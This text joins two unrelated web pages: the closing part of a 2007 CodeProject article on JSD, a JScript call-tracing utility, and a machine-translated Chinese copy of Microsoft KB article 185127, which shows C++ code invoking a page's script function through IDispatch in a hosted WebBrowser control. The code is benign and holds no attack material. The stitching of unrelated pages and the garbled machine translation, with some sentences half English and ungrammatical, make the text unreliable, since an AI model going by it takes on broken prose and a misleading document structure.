Because the source has been changed by the instrumentation process this flag SCRIPTTEXT_HOSTMANAGESSOURCE has to be removed when passing the modified source to the engine. Otherwise the source code is not correctly aligned when single-stepping in the debugger. One consequence of removing this flag is that Visual Studio 2005 (for instance) no longer applies the syntax highlighting to the source when debugging. There may be a solution to this problem but I haven't found it yet !
* The project is VC6 but would benefit from an update (ATL7.0 has a C++ regular expression parser - the current parser uses the VB RegExp object by importing the dll).
* The code for the JSD Configurator is not provided. This application demonstrates nothing of interest and so only the binary is available.
* Probably plenty more !

Summary

On its own tracing function calls is only half the story. It doesn't tell you anything that goes on between the function entry and exit. Quite a while ago I played around with an excellent utility component called The Script Adapter . This component wraps COM objects in order to solve a number of scripting related issues - again without the need to modify the source COM component.

While developing JSD I also modified this component so that it provides similar trace functionality to that described here. This means any method call for a wrapped component is written out using OutputDebugString along with any arguments and return values. If time permits (and there is enough interest) I will make this component available.

Together these two components have proved invaluable in tracking down problems and monitoring what's happening in my JScript code - maybe I should just write better code ! There may well be other utilities out there that do the same thing - I couldn't find one when I needed it so I wrote this instead. The fun is always in the chase.
About Keith Skilling

I work as an independent software contractor. I am currently working for SwissRe in London.

I am also the author of a fantastic utility called CMU - trust me you'll love it as well !
History

05/07/07 - Links to JSD Configurator added.

20/04/07 - First posted to CodeProject.
License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
About the Author
Keith Skilling

Occupation: Web Developer
Location: Switzerland Switzerland

Discussions and Feedback

Comment 2 messages have been posted for this article. Visit http://www.codeproject.com/KB/scripting/JScriptDebug.aspx to post and view comments on this article, or click here to get a print view with messages.
PermaLink | Privacy | Terms of Use
Last Updated: 4 Jul 2007
Editor: Smitha Vijayan
Copyright 2007 by Keith Skilling
Everything else Copyright © CodeProject, 1999-2008
FileMail | Advertise on the Code Project

如何从一个 VC WebBrowser 应用程序中调用一个脚本函数

2008-09-24T23:11:00.002-07:00
如何从一个 VC WebBrowser 应用程序中调用一个脚本函数
Retired KB Article本文介绍那些 Microsoft 不再提供支持的产品。因此本文按“原样”提供，并且不再更新。
察看本文应用于的产品
机器翻译查看机器翻译免责声明
文章编号 : 185127
最后修改 : 2004年6月29日
修订 : 1.1
概要
当承载 WebBrowser 控件在 Visual C++ 应用程序时, 您可能希望在一个 Web页面上执行存在的一个脚本函数。本文演示如何执行此操作。

回到顶端
更多信息
以一个 Web页面上调用存在的一个脚本函数，您必须使用自动化；换句话说，IDispatch。使用下面的步骤来调用存在于您的 Visual C++ 应用程序中的 Web 页面的一个脚本函数：
1. get of HTML document IDispatch。
2. 调用 IDispatch:: GetIDsOfNames 获取脚本函数的 ID。
3. 调用 IDispatch:: Invoke 执行功能。
following Visual C++ source code demonstrates how to implement your own application in this。 this code uses smart pointers by #import statement created。 must in one of your source code files，preferably Stdafx.h include this #import statement:

#import "C:\winnt\system32\mshtml.tlb" // location of mshtml.tlb

void CMyClass::ExecuteScriptFunction()
{
// m_WebBrowser is an instance of IWebBrowser2
MSHTML::IHTMLDocument2Ptr spDoc(m_WebBrowser.GetDocument());

if (spDoc)
{
IDispatchPtr spDisp(spDoc->GetScript());
if (spDisp)
{
// Evaluate is the name of the script function.
OLECHAR FAR* szMember = L"evaluate";
DISPID dispid;

HRESULT hr = spDisp->GetIDsOfNames(IID_NULL, &szMember, 1,
LOCALE_SYSTEM_DEFAULT, &dispid);

if (SUCCEEDED(hr))
{
COleVariant vtResult;
static BYTE parms[] = VTS_BSTR;

COleDispatchDriver dispDriver(spDisp, FALSE);

dispDriver.InvokeHelper(dispid, DISPATCH_METHOD, VT_VARIANT,
(void*)&vtResult, parms,
"5+Math.sin(9)");
}
}
}
}

下面是为包含评估函数网页 HTML：

Evaluate

回到顶端
参考
(c) Microsoft Corporation 1998，All Rights Reserved。由 Scott Roberts，Microsoft Corporation

回到顶端
这篇文章中的信息适用于:
• Microsoft Internet Explorer 4.0 128-Bit Edition
• Microsoft Internet Explorer 4.01 Service Pack 2

回到顶端
关键字：
kbmt kbcode kbfaq kbhowto kbwebbrowser KB185127 KbMtzh

回到顶端
机器翻译注意：这篇文章是由无人工介入的微软自动的机器翻译软件翻译完成。微软很高兴能同时提供给您由人工翻译的和由机器翻译的文章, 以使您能使用您的语言访问所有的知识库文章。然而由机器翻译的文章并不总是完美的。它可能存在词汇，语法或文法的问题，就像是一个外国人在说中文时总是可能犯这样的错误。虽然我们经常升级机器翻译软件以提高翻译质量，但是我们不保证机器翻译的正确度，也不对由于内容的误译或者客户对它的错误使用所引起的任何直接的, 或间接的可能的问题负责。如果您发现了错误并希望帮助我们提高机器翻译技术，请完成文章末尾的在线调查。
点击这里察看该文章的英文版： 185127 (http://support.microsoft.com/kb/185127/en-us/)

回到顶端
Microsoft 和/或其各供应商对于为任何目的而在本服务器上发布的文件及有关图形所含信息的适用性，不作任何声明。所有该等文件及有关图形均"依样"提供，而不带任何性质的保证。Microsoft和/或其各供应商特此声明，对所有与该等信息有关的保证和条件不负任何责任，该等保证和条件包括关于适销性、符合特定用途、所有权和非侵权的所有默示保证和条件。在任何情况下，在由于使用或运行本服务器上的信息所引起的或与该等使用或运行有关的诉讼中，Microsoft和/或其各供应商就因丧失使用、数据或利润所导致的任何特别的、间接的、衍生性的损害或任何因使用而丧失所导致的之损害、数据或利润不负任何责任。

请就此篇文章提供反馈
这篇文章有助您解决问题吗？
是
否
解决了一部分
我不知道

非常同意强烈反对
9 8 7 6 5 4 3 2 1
这篇文章容易理解

文章内容准确

附加评论：
为了保护您的隐私，请不要在您的反馈中提及联系信息。

谢谢您！您的反馈将被用来帮助我们提高支持内容。要了解更多帮助选项，请访问帮助和支持主页。

文章翻译

相关支持中心

* Internet Explorer

其他支持选项

* 联系微软获得帮助
电话号码,支持选项, 在线帮助和更多
* 客户支持服务
提供给正版用户的免费技术支持服务。
* 新闻组（论坛）
微软中文新闻组（论坛）提供完全免费的关于微软产品及其技术的讨论和交流。
* 下载
提供给您微软下载导航，帮助您找到热门的更新和下载。
* 订阅中文支持邮件月刊
一月一刊，自动发送到您的邮箱，帮助您及时了解最新微软在线支持新闻和技术支持知识库文章。
* 站点地图
提供支持网站导航

页面工具

* 打印此页
* 通过电子邮件发送此页

技术支持与服务
服务协议
联系微软 | 保留所有权利 | 商标 | 隐私权声明

Microsoft Microsoft
©2008 Microsoft